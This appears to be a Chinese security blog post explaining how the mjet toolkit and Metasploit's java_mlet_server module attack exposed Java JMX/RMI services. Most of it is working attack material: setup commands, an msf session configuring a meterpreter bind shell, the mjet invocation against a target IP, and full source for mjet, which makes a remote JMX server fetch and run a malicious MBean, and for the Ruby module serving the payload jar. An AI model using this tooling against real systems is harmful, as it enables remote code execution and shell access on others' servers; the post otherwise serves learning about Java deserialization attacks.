关于metaspolit中进行JAVA反序列化渗透RMI的原理分析

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一、背景：

这里需要对java反序列化有点了解，在这里得推广下自己的博客嘛，虽然写的不好，广告还是要做的。原谅我：

1、java反序列化漏洞原理研习

2、java反序列化漏洞的检测

二、攻击手法简介

针对这个使用msf攻击需要大家看一篇文章：JMX RMI Exploit 实例，鸣谢，确实学到了很多，膜拜大牛，简要介绍下攻击手法：

（1）下载mjet模块：下载连接mjet,如果是mac电脑安装好metaspolit以后可以直接使用git clone命令下载到metaspolit的父目录下：

git clone https://github.com/mogwaisec/mjet.git

（2）拷贝文件到响应目录下：

cp -r mjet/metasploit/MBean metasploit-framework-master/data/java/metaspolit
cp mjet/metasploit/java_mlet_server.rb metasploit-framework-master/modules/exploits/multi/misc/
cd mjet/src/java/metasploit/MetasploitBean/src/metasploit
javac Payload.java
cp Payload.class ~/Desktop/metasploit-framework-master/data/java/metasploit/

（3）进入msf，配置相关配置：

msf > use exploit/multi/misc/java_mlet_server
msf exploit(multi/misc/java_mlet_server) > set payload java/meterpreter/bind_tcp
payload => java/meterpreter/bind_tcp
msf exploit(multi/misc/java_mlet_server) > set LPORT
LPORT =>
msf exploit(multi/misc/java_mlet_server) > set LHOST 192.168.100.101
LHOST => 192.168.100.101
msf exploit(multi/misc/java_mlet_server) > set uripath /asdfgh
uripath => /asdfgh
msf exploit(multi/misc/java_mlet_server) > run

另外一边开启一个终端：

java -jar mjet.jar -p -u http://192.168.100.101:8080/o5jSTI5rEWJw6Is/ -t 192.168.100.102

再补充一些msf的命令知识：

'''
对于msf来说
set LHOST、set LPORT、set RHOST、set RPORT就不说了都懂
查看配置选项show options
需要修改那个修改那个就可以了
set uripath /asdfgh
set SRVPORT 1234
等等
'''

三、下面来分析一下mjet的源码所进行的流程

声明：

这里使用正反向都可以拿shell，但是反连Server需要能直达，攻击互联网站点的化需要有一个公网IP。

很简单，到对方RMI去注册，然后RMI回连到msf起好的服务这里来：

我们来看mjet的源代码

package de.mogwaisecurity.lab.mjet; import org.apache.commons.cli.*;
import javax.management.remote.*;
import javax.management.*; import java.util.*; public class Mjet { /**
* @param args
*/
public static void main(String[] args) { System.out.println("---------------------------------------------------");
System.out.println("MJET - Mogwai Security JMX Exploitation Toolkit 0.1");
System.out.println("---------------------------------------------------");
System.out.println(); CommandLineParser parser = new org.apache.commons.cli.BasicParser(); Options cmdOptions = createCmdOptions(); CommandLine cmd= null; try {
cmd = parser.parse(cmdOptions, args);
}
catch(ParseException exp) {
System.err.println( "[-] Error: " + exp.getMessage());
System.err.println(); // automatically generate the help statement
HelpFormatter formatter = new HelpFormatter();
formatter.printHelp( "mjet", cmdOptions );
System.exit(1);
} pwnJMXService(cmd);
} private static Options createCmdOptions()
{
Options cmdOptions = new Options(); // Required arguments
Option targetOption = OptionBuilder.withArgName("host").hasArg().withDescription("target host").isRequired(true).create('t');
Option portOption = OptionBuilder.withArgName("port").hasArg().withDescription("target service port").isRequired(true).create('p');
Option urlOption = OptionBuilder.withArgName("url").hasArg().withDescription("url of the mlet web server").isRequired(true).create('u'); targetOption.setLongOpt("target");
portOption.setLongOpt("port");
urlOption.setLongOpt("url"); cmdOptions.addOption(targetOption);
cmdOptions.addOption(portOption);
cmdOptions.addOption(urlOption); // Optional arguments
Option helpOption = new Option("help", false, "show this help");
cmdOptions.addOption(helpOption); return cmdOptions;
} static void pwnJMXService(CommandLine line) {
try {
String serverName = line.getOptionValue("t");
String servicePort = line.getOptionValue("p");
String mLetUrl = line.getOptionValue("u");
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + servicePort + "/jmxrmi"); System.out.println("[+] Connecting to JMX URL: "+url +" ..."); JMXConnector connector = JMXConnectorFactory.connect(url);
MBeanServerConnection mBeanServer = connector.getMBeanServerConnection(); System.out.println("[+] Connected: " + connector.getConnectionId()); ObjectInstance payloadBean = null; System.out.println("[+] Trying to create MLet bean...");
ObjectInstance mLetBean = null; try {
mLetBean = mBeanServer.createMBean("javax.management.loading.MLet", null);
} catch (javax.management.InstanceAlreadyExistsException e) {
mLetBean = mBeanServer.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
} System.out.println("[+] Loaded "+mLetBean.getClassName());
System.out.println("[+] Loading malicious MBean from " + mLetUrl);
System.out.println("[+] Invoking: "+mLetBean.getClassName() + ".getMBeansFromURL");
Object res = mBeanServer.invoke(mLetBean.getObjectName(), "getMBeansFromURL",
new Object[] { mLetUrl },
new String[] { String.class.getName() }
); HashSet res_set = ((HashSet)res);
Iterator itr = res_set.iterator();
Object nextObject = itr.next(); if (nextObject instanceof Exception) {
throw ((Exception)nextObject);
}
payloadBean = ((ObjectInstance)nextObject); System.out.println("[+] Loaded class: "+ payloadBean.getClassName());
System.out.println("[+] Loaded MBean Server ID: "+ payloadBean.getObjectName());
System.out.println("[+] Invoking: "+ payloadBean.getClassName()+".run()"); mBeanServer.invoke(payloadBean.getObjectName(), "run", new Object[]{}, new String[]{}); System.out.println("[+] Done"); } catch (Exception e) {
e.printStackTrace();
}
}
}

先声明，我对java的懂得很少很少，初学者阶段。

只能说或这里调用了invoker，使用payloadBean.getObjectName.getMBeansFromURL这里调用getMBeansFromURL这个函数，我去百度了一下，这个函数

注册了咱们msf生成的那个server，然后看java_mlet_server.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##require 'msf/core'
require 'rex'class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize( info = {} ) super( update_info( info,
'Name' => 'Java Mlet Server',
'Description' => %q{
This module abuses the JMX classes from a Java Applet to run arbitrary Java
code outside of the sandbox as exploited in the wild in January of 2013. The
vulnerability affects Java version 7u10 and earlier.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery
'egypt', # Metasploit module
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-0422' ] ],
'Platform' => %w{ java linux osx win },
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA,
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 10 2013'
))
end def setup
path = File.join(Msf::Config.data_directory, "java", "metasploit", "MBean", "Metasploit.class")
@mbean_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.data_directory, "java", "metasploit", "MBean", "MetasploitMBean.class")
@interface_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } #@exploit_class_name = rand_text_alpha("Exploit".length)
#@exploit_class.gsub!("Exploit", @exploit_class_name)
super
end def on_request_uri(cli, request)
print_status("handling request for #{request.uri}") case request.uri
when /\.jar$/i
jar = payload.encoded_jar
jar.add_file("metasploit/Metasploit.class", @mbean_class)
jar.add_file("metasploit/MetasploitMBean.class", @interface_class)
#metasploit_str = rand_text_alpha("metasploit".length)
#payload_str = rand_text_alpha("payload".length)
#jar.entries.each { |entry|
# entry.name.gsub!("metasploit", metasploit_str)
# entry.name.gsub!("Payload", payload_str)
# entry.data = entry.data.gsub("metasploit", metasploit_str)
# entry.data = entry.data.gsub("Payload", payload_str)
#}
jar.build_manifest send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
when /\/$/
payload = regenerate_payload(cli)
if not payload
print_error("Failed to generate the payload.")
send_not_found(cli)
return
end
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
else
send_redirect(cli, get_resource() + '/', '')
end end def generate_html
html = %Q|<mlet code=metasploit.Metasploit archive=#{rand_text_alpha(8)}.jar name=#{rand_text_alpha(8)}:name=#{rand_text_alpha(8)},id=#{rand_text_alpha(8)} ></mlet>|
# return html
endend

先声明我也只懂一个大概流程，等到rmi回连后，把那个构造好的class发过去，那边调用invoker接口去调用其中的run方法。

这里的打印也可以说明这个问题

看一下这几个类的代码，继承了MetaspolitMBean接口，在run方法中调用了Payload的run方法：

package metasploit;public class Metasploit implements MetasploitMBean {
public void run() {
Payload.main(null);
}
}

package metasploit;public interface MetasploitMBean {
public void run();
}

package metasploit; public class Payload { public static void main(String[] args) {
System.out.println("bla bla bla"); } }

层层调用，但是也只是一个打印bla的类，在下面这段代码中就是调用这个run方法：

分析到这里就不知道怎么分析了，还是没搞清楚这样有啥用，shell是怎么反弹的，回归到rb的源码文件，看到这样的描述：

于是决定去看这个CVE，然后来琢磨怎么办？从描述上来看，是逃逸了sandbox执行代码。需要说明的是，java的RMI先后爆出了很多java反序列化漏洞，cve-2013-0422只是其中之一，后面也还有不少，所以这个cve-2013-0422也只是打击RMI的一个方法之一。影响的是7u10机器之前的版本。

根据一篇博客的详细记叙http://wcf1987.iteye.com/blog/1768599我们知道了这个是干掉java安全机制的漏洞，目标是逃逸出java沙箱以便于运行java applet代码。

这就要看mlet标签了，里面还是关于metaspolit的类。估计真正的恶意代码执行或者和恶意命令执行还是后面msf弄的，而不是单单一个run函数就可以搞定了。这后面的东西猜测与设定的payload有关，例如正反向的shell的那个java的payload里面可能有相关的东东。

等我请教大神之后再来写吧，先这样，待续待修正...